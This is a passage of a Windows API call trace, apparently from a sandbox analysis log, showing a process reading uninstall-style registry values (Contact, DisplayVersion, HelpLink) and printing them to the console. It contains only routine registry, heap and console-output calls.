_File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.883] __iob_func () returned 0x7fefd702a80 [0147.883] _fileno (_File=0x7fefd702ab0) returned 1 [0147.883] _errno () returned 0xc4bb0 [0147.883] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.883] _errno () returned 0xc4bb0 [0147.883] GetFileType (hFile=0x50) returned 0x1 [0147.883] lstrlenW (lpString="\n") returned 1 [0147.883] GetConsoleOutputCP () returned 0x1b5 [0147.884] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0147.884] GetConsoleOutputCP () returned 0x1b5 [0147.884] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0147.884] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0147.884] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.884] GetProcessHeap () returned 0x2e0000 [0147.884] GetProcessHeap () returned 0x2e0000 [0147.884] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x301970) returned 1 [0147.884] GetProcessHeap () returned 0x2e0000 [0147.884] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x301970) returned 0x9e [0147.884] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x301970 | out: hHeap=0x2e0000) returned 1 [0147.884] RegEnumValueW (in: hKey=0x5c, dwIndex=0x2, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="Contact", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0147.884] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Contact", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x4) returned 0x0 [0147.884] GetProcessHeap () returned 0x2e0000 [0147.884] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x6) returned 0x2fcda0 [0147.884] GetProcessHeap () returned 0x2e0000 [0147.884] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0147.884] GetProcessHeap () returned 0x2e0000 [0147.884] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0147.884] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Contact", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x2fcda0, pcbData=0x23f670*=0x4 | out: pdwType=0x23f5f0*=0x1, pvData="", pcbData=0x23f670*=0x2) returned 0x0 [0147.884] __iob_func () returned 0x7fefd702a80 [0147.884] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0147.884] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0147.884] _fileno (_File=0x7fefd702ab0) returned 1 [0147.884] _errno () returned 0xc4bb0 [0147.884] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.884] _errno () returned 0xc4bb0 [0147.884] GetFileType (hFile=0x50) returned 0x1 [0147.884] lstrlenW (lpString=" ") returned 4 [0147.885] GetConsoleOutputCP () returned 0x1b5 [0147.885] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.885] GetConsoleOutputCP () returned 0x1b5 [0147.885] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.885] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.885] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.885] lstrlenW (lpString="Contact") returned 7 [0147.885] __iob_func () returned 0x7fefd702a80 [0147.885] _fileno (_File=0x7fefd702ab0) returned 1 [0147.885] _errno () returned 0xc4bb0 [0147.885] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.885] _errno () returned 0xc4bb0 [0147.885] GetFileType (hFile=0x50) returned 0x1 [0147.885] lstrlenW (lpString="Contact") returned 7 [0147.885] GetConsoleOutputCP () returned 0x1b5 [0147.885] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Contact", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0147.885] GetConsoleOutputCP () returned 0x1b5 [0147.885] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Contact", cchWideChar=7, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Contact", lpUsedDefaultChar=0x0) returned 7 [0147.885] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 7 [0147.885] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.886] __iob_func () returned 0x7fefd702a80 [0147.886] _fileno (_File=0x7fefd702ab0) returned 1 [0147.886] _errno () returned 0xc4bb0 [0147.886] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.886] _errno () returned 0xc4bb0 [0147.886] GetFileType (hFile=0x50) returned 0x1 [0147.886] lstrlenW (lpString=" ") returned 4 [0147.886] GetConsoleOutputCP () returned 0x1b5 [0147.886] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.886] GetConsoleOutputCP () returned 0x1b5 [0147.886] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.886] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.886] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.886] __iob_func () returned 0x7fefd702a80 [0147.886] _fileno (_File=0x7fefd702ab0) returned 1 [0147.886] _errno () returned 0xc4bb0 [0147.886] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.886] _errno () returned 0xc4bb0 [0147.886] GetFileType (hFile=0x50) returned 0x1 [0147.886] lstrlenW (lpString="REG_SZ") returned 6 [0147.886] GetConsoleOutputCP () returned 0x1b5 [0147.886] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0147.887] GetConsoleOutputCP () returned 0x1b5 [0147.887] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0147.887] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0147.887] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.887] __iob_func () returned 0x7fefd702a80 [0147.887] _fileno (_File=0x7fefd702ab0) returned 1 [0147.887] _errno () returned 0xc4bb0 [0147.887] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.887] _errno () returned 0xc4bb0 [0147.887] GetFileType (hFile=0x50) returned 0x1 [0147.887] lstrlenW (lpString=" ") returned 4 [0147.887] GetConsoleOutputCP () returned 0x1b5 [0147.887] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.887] GetConsoleOutputCP () returned 0x1b5 [0147.887] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.887] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.887] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.887] __iob_func () returned 0x7fefd702a80 [0147.887] _fileno (_File=0x7fefd702ab0) returned 1 [0147.887] _errno () returned 0xc4bb0 [0147.887] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.887] _errno () returned 0xc4bb0 [0147.887] GetFileType (hFile=0x50) returned 0x1 [0147.888] lstrlenW (lpString="") returned 0 [0147.888] __iob_func () returned 0x7fefd702a80 [0147.888] _fileno (_File=0x7fefd702ab0) returned 1 [0147.888] _errno () returned 0xc4bb0 [0147.888] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.888] _errno () returned 0xc4bb0 [0147.888] GetFileType (hFile=0x50) returned 0x1 [0147.888] lstrlenW (lpString="\n") returned 1 [0147.888] GetConsoleOutputCP () returned 0x1b5 [0147.888] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0147.888] GetConsoleOutputCP () returned 0x1b5 [0147.888] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0147.888] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0147.888] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.888] GetProcessHeap () returned 0x2e0000 [0147.888] GetProcessHeap () returned 0x2e0000 [0147.888] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0147.888] GetProcessHeap () returned 0x2e0000 [0147.888] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0147.888] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0 | out: hHeap=0x2e0000) returned 1 [0147.888] RegEnumValueW (in: hKey=0x5c, dwIndex=0x3, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayVersion", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0147.888] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="DisplayVersion", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x18) returned 0x0 [0147.888] GetProcessHeap () returned 0x2e0000 [0147.888] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x1a) returned 0x2f5bf0 [0147.888] GetProcessHeap () returned 0x2e0000 [0147.888] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2f5bf0) returned 1 [0147.888] GetProcessHeap () returned 0x2e0000 [0147.889] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2f5bf0) returned 0x1a [0147.889] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="DisplayVersion", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x2f5bf0, pcbData=0x23f670*=0x18 | out: pdwType=0x23f5f0*=0x1, pvData="12.0.21005", pcbData=0x23f670*=0x16) returned 0x0 [0147.889] __iob_func () returned 0x7fefd702a80 [0147.889] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0147.889] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0147.889] _fileno (_File=0x7fefd702ab0) returned 1 [0147.889] _errno () returned 0xc4bb0 [0147.889] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.889] _errno () returned 0xc4bb0 [0147.889] GetFileType (hFile=0x50) returned 0x1 [0147.889] lstrlenW (lpString=" ") returned 4 [0147.889] GetConsoleOutputCP () returned 0x1b5 [0147.889] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.889] GetConsoleOutputCP () returned 0x1b5 [0147.889] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.889] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.889] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.889] lstrlenW (lpString="DisplayVersion") returned 14 [0147.889] __iob_func () returned 0x7fefd702a80 [0147.889] _fileno (_File=0x7fefd702ab0) returned 1 [0147.889] _errno () returned 0xc4bb0 [0147.889] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.889] _errno () returned 0xc4bb0 [0147.889] GetFileType (hFile=0x50) returned 0x1 [0147.889] lstrlenW (lpString="DisplayVersion") returned 14 [0147.889] GetConsoleOutputCP () returned 0x1b5 [0147.890] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="DisplayVersion", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0147.890] GetConsoleOutputCP () returned 0x1b5 [0147.890] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="DisplayVersion", cchWideChar=14, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayVersion", lpUsedDefaultChar=0x0) returned 14 [0147.890] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 14 [0147.890] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.890] __iob_func () returned 0x7fefd702a80 [0147.890] _fileno (_File=0x7fefd702ab0) returned 1 [0147.890] _errno () returned 0xc4bb0 [0147.890] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.890] _errno () returned 0xc4bb0 [0147.890] GetFileType (hFile=0x50) returned 0x1 [0147.890] lstrlenW (lpString=" ") returned 4 [0147.890] GetConsoleOutputCP () returned 0x1b5 [0147.890] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.890] GetConsoleOutputCP () returned 0x1b5 [0147.890] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.890] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.890] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.890] __iob_func () returned 0x7fefd702a80 [0147.891] _fileno (_File=0x7fefd702ab0) returned 1 [0147.891] _errno () returned 0xc4bb0 [0147.891] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.891] _errno () returned 0xc4bb0 [0147.891] GetFileType (hFile=0x50) returned 0x1 [0147.891] lstrlenW (lpString="REG_SZ") returned 6 [0147.891] GetConsoleOutputCP () returned 0x1b5 [0147.891] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0147.891] GetConsoleOutputCP () returned 0x1b5 [0147.891] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0147.891] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0147.891] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.891] __iob_func () returned 0x7fefd702a80 [0147.891] _fileno (_File=0x7fefd702ab0) returned 1 [0147.891] _errno () returned 0xc4bb0 [0147.891] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.891] _errno () returned 0xc4bb0 [0147.891] GetFileType (hFile=0x50) returned 0x1 [0147.891] lstrlenW (lpString=" ") returned 4 [0147.891] GetConsoleOutputCP () returned 0x1b5 [0147.891] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.891] GetConsoleOutputCP () returned 0x1b5 [0147.892] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.892] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.892] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.892] __iob_func () returned 0x7fefd702a80 [0147.892] _fileno (_File=0x7fefd702ab0) returned 1 [0147.892] _errno () returned 0xc4bb0 [0147.892] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.892] _errno () returned 0xc4bb0 [0147.892] GetFileType (hFile=0x50) returned 0x1 [0147.892] lstrlenW (lpString="12.0.21005") returned 10 [0147.892] GetConsoleOutputCP () returned 0x1b5 [0147.892] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="12.0.21005", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0147.892] GetConsoleOutputCP () returned 0x1b5 [0147.892] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="12.0.21005", cchWideChar=10, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="12.0.21005", lpUsedDefaultChar=0x0) returned 10 [0147.892] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 10 [0147.892] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.892] __iob_func () returned 0x7fefd702a80 [0147.892] _fileno (_File=0x7fefd702ab0) returned 1 [0147.892] _errno () returned 0xc4bb0 [0147.892] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.892] _errno () returned 0xc4bb0 [0147.892] GetFileType (hFile=0x50) returned 0x1 [0147.892] lstrlenW (lpString="\n") returned 1 [0147.892] GetConsoleOutputCP () returned 0x1b5 [0147.893] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0147.893] GetConsoleOutputCP () returned 0x1b5 [0147.893] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0147.893] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0147.893] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.893] GetProcessHeap () returned 0x2e0000 [0147.893] GetProcessHeap () returned 0x2e0000 [0147.893] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2f5bf0) returned 1 [0147.893] GetProcessHeap () returned 0x2e0000 [0147.893] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2f5bf0) returned 0x1a [0147.893] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2f5bf0 | out: hHeap=0x2e0000) returned 1 [0147.893] RegEnumValueW (in: hKey=0x5c, dwIndex=0x4, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="HelpLink", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0147.893] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="HelpLink", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x5c) returned 0x0 [0147.893] GetProcessHeap () returned 0x2e0000 [0147.893] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x5e) returned 0x3019a0 [0147.893] GetProcessHeap () returned 0x2e0000 [0147.893] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3019a0) returned 1 [0147.893] GetProcessHeap () returned 0x2e0000 [0147.893] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x3019a0) returned 0x5e [0147.893] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="HelpLink", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x3019a0, pcbData=0x23f670*=0x5c | out: pdwType=0x23f5f0*=0x2, pvData="http://go.microsoft.com/fwlink/?LinkId=133405", pcbData=0x23f670*=0x5c) returned 0x0 [0147.894] __iob_func () returned 0x7fefd702a80 [0147.894] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0147.894] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0147.894] _fileno (_File=0x7fefd702ab0) returned 1 [0147.894] _errno () returned 0xc4bb0 [0147.894] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.894] _errno () returned 0xc4bb0 [0147.894] GetFileType (hFile=0x50) returned 0x1 [0147.894] lstrlenW (lpString=" ") returned 4 [0147.894] GetConsoleOutputCP () returned 0x1b5 [0147.894] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.894] GetConsoleOutputCP () returned 0x1b5 [0147.894] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.894] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.894] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.894] lstrlenW (lpString="HelpLink") returned 8 [0147.894] __iob_func () returned 0x7fefd702a80 [0147.894] _fileno (_File=0x7fefd702ab0) returned 1 [0147.894] _errno () returned 0xc4bb0 [0147.894] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.894] _errno () returned 0xc4bb0 [0147.894] GetFileType (hFile=0x50) returned 0x1 [0147.894] lstrlenW (lpString="HelpLink") returned 8 [0147.894] GetConsoleOutputCP () returned 0x1b5 [0147.895] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="HelpLink", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0147.895] GetConsoleOutputCP () returned 0x1b5 [0147.895] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="HelpLink", cchWideChar=8, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="HelpLink", lpUsedDefaultChar=0x0) returned 8 [0147.895] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 8 [0147.895] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.895] __iob_func () returned 0x7fefd702a80 [0147.895] _fileno (_File=0x7fefd702ab0) returned 1 [0147.895] _errno () returned 0xc4bb0 [0147.895] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.895] _errno () returned 0xc4bb0 [0147.895] GetFileType (hFile=0x50) returned 0x1 [0147.895] lstrlenW (lpString=" ") returned 4 [0147.895] GetConsoleOutputCP () returned 0x1b5 [0147.895] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.895] GetConsoleOutputCP () returned 0x1b5 [0147.895] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.895] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.895] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.895] __iob_func () returned 0x7fefd702a80 [0147.895] _fileno (_File=0x7fefd702ab0) returned 1 [0147.896] _errno () returned 0xc4bb0 [0147.896] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.896] _errno () returned 0xc4bb0 [0147.896] GetFileType (hFile=0x50) returned 0x1 [0147.896] lstrlenW (lpString="REG_EXPAND_SZ") returned 13 [0147.896] GetConsoleOutputCP () returned 0x1b5 [0147.896] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_EXPAND_SZ", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: 